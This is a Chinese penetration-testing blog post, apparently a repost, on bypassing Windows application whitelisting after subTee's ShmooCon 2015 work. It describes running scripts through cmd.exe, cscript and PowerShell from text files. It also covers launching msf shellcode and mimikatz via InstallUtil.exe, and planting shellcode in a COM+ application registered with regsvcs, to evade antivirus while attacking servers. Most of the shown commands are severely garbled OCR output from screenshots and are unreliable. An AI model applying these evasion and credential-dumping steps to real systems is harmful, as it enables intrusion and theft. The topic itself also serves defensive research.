利用白名单应用绕过防护

0x00 前言

看了subTee的在ShmooCon2015PPT,学习到了很多关于应用白名单绕过的技巧,今天又看见了subTee开始写博客了,并且详细解释了关于应用白名单绕过的方法,于是结合自己测试与大家分享一下。

看完ppt其实作者是想告诉我们一种思想,我自己的理解是利用信任程序执行恶意代码

0x01 脚本执行

当在一些情况下,比如限制了.bat|.vbs|.ps1脚本执行,我们可以通过以下方法绕过

说明: 计算机生成了可选文字: 扮…<br /> {一”£e护忿<br /> ne卜。。~_<br /> 刀esktop勺,ore>echonetuse护>abc。txt<br /> 口<br /> 刃esktop劝lore>t夕peabc。txt<br /> 劝sers、<br /> 劝】sers'<br /> 子<br /> 凡Desktop勺,o,·、>cnd。exe/k<abc。txt<br /> Desktop勺,0.'>netuser<br /> .日<br /> 的用户帐户<br /> doinistrator<br /> Guest<br /> 令成功完成。<br /> 众众丫产翌即

说明: 计算机生成了可选文字: 劝】sers、<br /> 刀esktop勺110护e>echoHsgbox"abc">abcd。txt<br /> 山se护s\<br /> gbox"abc"<br /> 乃esktop为110护e>t夕peabcd。txt<br /> 劝】sers、<br /> 刀esktop勺Ilore>cscriPt<br /> .eXe<br /> //F:vbscriPtabcd。txt<br /> ic护osoft<br /> <R>Uindo"s<br /> 权所有<c)<br /> HicrosoFt<br /> Sc护iptHost<br /> Corpo护ation<br /> Ue护Sions。8<br /> 1996一2日日10<br /> 保留所有权利。

说明: 计算机生成了可选文字: :劝sers\刀esktop场ore>po"e护shell<br /> indo讨5Po"erghell<br /> 权所有<c)2朋,<br /> Hic护osoftCorporation。<br /> 保留所有权利。<br /> SC:劝」sers'<br /> SC:劝」sers'<br /> et一process<br /> SC:劝」sers'<br /> Desktop城ore>echoget一process>abcde.txt<br /> 〕esktop勺110护e>t,pe。从abcde。txt<br /> 刀esktop、,o护e>Get一Contentabcde。txt<br /> leX<br /> andlesNPH<l()<br /> PH<K)<br /> US<K)UH<H)<br /> 日日日3?<br /> 42?5<br /> 34日<br /> 223<br /> 6日1<br /> 548<br /> 8'<br /> 2229日<br /> 5268<br /> 4日26日<br /> 25?268<br /> 23'4<br /> 3512<br /> 2416<br /> 15152<br /> 92512<br /> 489'<br /> 18?<br /> 98<br /> 429<br /> 614<br /> 42<br /> CPU<S>1dPr0CeSSHane<br /> 34日836日nP<br /> 1日8日36日EntClient<br /> 426436日EntClient<br /> ,36日36日rp<br /> 1日16436日rps

测试的时候请注意编码这个坑,如果你自己新建一个文件手动写“net
user”
到文件测试,你会发现不成功,所以请用echo

说明: 计算机生成了可选文字: {<br /> 勺」忍e犷公\<br /> 叨se犷公‘<br /> 山,eP。\<br /> Desktop城。护e>cod。exe/k<1。txt<br /> 刀e'ktop腼。护e>Ho护e?<br /> J)esktoP勺llore>

0x01 利用InstallUtil.exe执行程序

有些时候搞站遇到不能执行exe,或者是杀毒软件太厉害,这个方法很好的绕过了检测。当然环境种必须是.net4.0以上。

1.直接用msf生成shellcode,执行shellcode

然了,如果你想第一步自己本地搞定,然后第二部再上传服务器执行也行。

说明: 计算机生成了可选文字: c:叨二e,二\Pentest叨esktop场。,e>c,咐indo。,训ic"0,oft·HFI咄斌<br /> c。exe/unsafe/platforn:x64/out:exeshell。exeShellcode。c<br /> Hic护osoft<R>Uisua1C林2日1日Conpilerue犷公ion4。日。3日31,。1<br /> Cop夕护ight<C>HicrosoftCorporation.nllrightsrese护ued。<br /> 口巴王月口巨曰口困<br /> 查看少)编辑汪)帮助0f)<br /> 0<br /> C:劝se护s凡Pentest凡Desktop勺110护e>C:劝Jindo"s、洲ic护osoft。HFT<br /> StdllUtil。eXe<br /> HIC护OS0ft<R><br /> Cop夕护ight<c><br /> /logfile=/LogToConsole=false/Uexeshell。e已<br /> 。HETF护ane衬orkIn忿tallationutilit夕Ue护sion<br /> HicrosoftCo护poration。自11护ights护ese护ued。<br /> 邑盆山丝丝全呢尸t熙土业丝丛卫冗翅业业一}<br /> 州州州习习<br /> 到到到到川<br /> 到川到川习<br /> 到到到习到<br /> canbeUn布nstall/Install.Install浦5transact浦onal,andr.<br /> 」evo嘴dUn有nstall(System.Collect瑞ons.ID布ct嘴onarysavedstate:<br /> 到到到曰<br /> }曰习<br /> 日<br /> ,EXec();

2.直接执行pe文件(执行mimikatz

如果是pe文件,需要先把pe文件base64编码,有两种方法:

利用同上:

说明: 计算机生成了可选文字: C:\Users\pentest\Desktop\more>C:\讨indo树s\Hicrosoft.NET\Frame讨ork64\v左.0.30319\c<br /> c.exe/unsafe<br /> O<br /> 1<br /> ut:PELoader.exePELoader.cs<br /> su日IC#2010Compilerversion左.0.30319.1<br /> icrosoftCorpor日tion.日11rightsreserved.<br /> ../U,U曰<br /> 飞..1..<br /> Qn八L<br /> 叮..1叮.t<br /> Hicrosoft<br /> Cop岁right<br /> C:\Users\pentest\Desktop\more>C:\讨indo讨s\Hicrosoft.NET\Fr日me讨ork6左\v左.0.30319\I<br /> st日1IUtil.exe/10<br /> 1.刀1卫.心<br /> Q曰C<br /> 叮‘.t叮盯..<br /> H1crosoft<br /> Cop夕right<br /> .NE<br /> gfile=/LogToConsole=folse/UPELooder.exe<br /> TFraoe树orkInstallationutilitvVersion左.0.30319.1<br /> MicrosoftCorporation.日11rightsreserued二<br /> PreferredLood日ddress=140000000<br /> 日1locatedSpaceFor63000atIBC60000<br /> Section.text,CopiedToIBC61000<br /> Section.rd日ta,CopiedToIBC8E000<br /> Section.d日t日,CopiedToIBCB7000<br /> Section.pdata,CopiedToIBCBB000<br /> Section.rsrc,CopiedToIBCBD000<br /> Section.reloc,CopiedToIBCC1000<br /> Delt日=FFFFFFFEDBC60000<br /> Loaded日DVRPI32.dll<br /> LoddedCRVPT32.dll<br /> Lo日dedcrvptdll.dll<br /> Lo日dedNET日PI32.dll<br /> LoadedNTOS日Pl.dll<br /> LoadedRPCRT4.dll<br /> Lo日dedSHL讨RPI.dll<br /> Lo日deds日HLIB.dll<br /> LoadedSecur32.dll<br /> LoadedSHELL32.dll<br /> Lo日dedUSER32.dll<br /> Lo日dedntdll.dll<br /> LoadedKERNEL32.dll<br /> Lo日dedmsvcrt.dll<br /> ExecutingHimikatz<br /> .#####.mimikatz2.oalpha(x64)release''Ki树ienC''(Rug17201500:1左:48)<br /> 、.J、.J/于<br /> minDELPV'gentilki树i'(benj日minogentilki讨i.com<br /> p://blog.gentilki树i.co。/mimikatz<br /> 树1th16modules<br /> oe。eo<br /> 于呀弓呀〕任<br /> 书n几.1<br /> e二L<br /> 并OULll<br /> /于<br /> 。#Uff,<br /> ####,<br /> #村#<br /> 、、/矛#<br /> 人V#<br /> ./.、、#<br /> ###<br /> ####,<br /> 。#Uff,

0x02 利用COM+应用

把我们的恶意shellcode写入COM+应用中

使用原作的demo

说明: 计算机生成了可选文字: _少曰到囚<br /> 编辑汪)帮助以)<br /> 一口l困<br /> 查看仅〕编辑伍〕帮助以〕<br /> 口1整莱口口口‘习到困<br /> 查看汉)编辑但〕帮助以)<br /> 器一<br /> 算一以<br /> 计一看<br /> 属一查<br /> 0<br /> 州州习习习<br /> 引到习习习<br /> 川习习川习<br /> 到到习川到<br /> 到到习曰<br /> }习习二<br /> 习州习习习<br /> 到到习习川<br /> 川习习川川<br /> 习习习川国<br /> 习到习曰<br /> }习习二<br /> 01习习习到引到<br /> 习习习习习习<br /> 州习到到到习<br /> 州到到到到曰<br /> 。习到习习习l一<br /> 一卜........~<br /> C:劝se护s从pentest从DesktoP勺llore双>sn<br /> 。exe一kke,。.nk<br /> 洲iCr0S0ft<R><br /> Cop夕护ight<c><br /> 。HETFraoe衬orkStrong<br /> Hic护。‘oftCorporation<br /> HaoeUtilit夕<br /> nllrights<br /> Uersion3。5。21022。8<br /> re,erued-<br /> l(e夕Pai护公护ittentoke夕。snk<br /> C:劝se护s\Pentest叨esktoP腼ore双>C:喇indo"s训icrosoft.HFT甲护ane"ork切4。日。3日319嗽s<br /> c。exe/护:S夕ste。。Fnte护P护i公ese护uices。dll/ke夕file:ke夕。‘nk/target:lib护a护夕/out:dll<br /> gue't。dlldllguest。cs<br /> Hic护。‘oft<R>Uisua1C林2日1日CooPilerue护sion4。日。3日319。1<br /> CoP夕right<C>Hicr000ftCorPoration。nllrightsre.erued.<br /> C:劝se护‘\Pentest叨esktop腼ore双>C:喇indo公s明icrosoft.HFT甲rane"ork切4。日。3日319守e<br /> gsuc‘。exedllguest。dll<br /> Hic护。‘oft<R>。HFTFraoe讨orkSeruicesInstallationUtilit夕Uersion4.日。3日319.1<br /> CoP夕护ight<c>Hic护osoftCorPoration。nllrightsreserued。<br /> In公tallednsseobl夕<br /> 0"eobl夕:<br /> C:<br /> 自pPlicat<br /> T夕PeLib:<br /> lon:<br /> 劝se护.\Pentest叨esktop场ore吐喊11guest。dll<br /> dllgue't<br /> C:劝ser‘从pentest从De'ktoP勺11ore双凡dllgueot。tlb<br /> 口一.<br /> C:劝sers\Pentest、刃esktop勺llore以><br /> 口口口口口口口口口口口口口口口口<br /> ,sc:山sers冲即test>巨一阁二沪邓介。。一c。。哪加ctdi鸳陇翅。二吻半尧粥<br /> ~卜<br /> 奋幻<br /> n'w,"J“七<br /> 16<br /> 吸吸《(<br /> 飞JUll.气声JJJ"‘毛甩113毛甩‘奋‘一JJyP《甩奋奋<br /> l<br /> 口口口口口

虽然demo写的不是很完美,测试的时候出了很多错,但已经能够表明作者“利用白名单应用执行恶意代码”的目的。

0x03原文:

http://subt0x10.blogspot.com/2015/08/hiding-in-plain-sight-com-surrogate.html

https://github.com/subTee/ShmooCon-2015

http://subt0x10.blogspot.com/2015/08/application-whitelisting-bypasses-101.html

[via@L.N博客]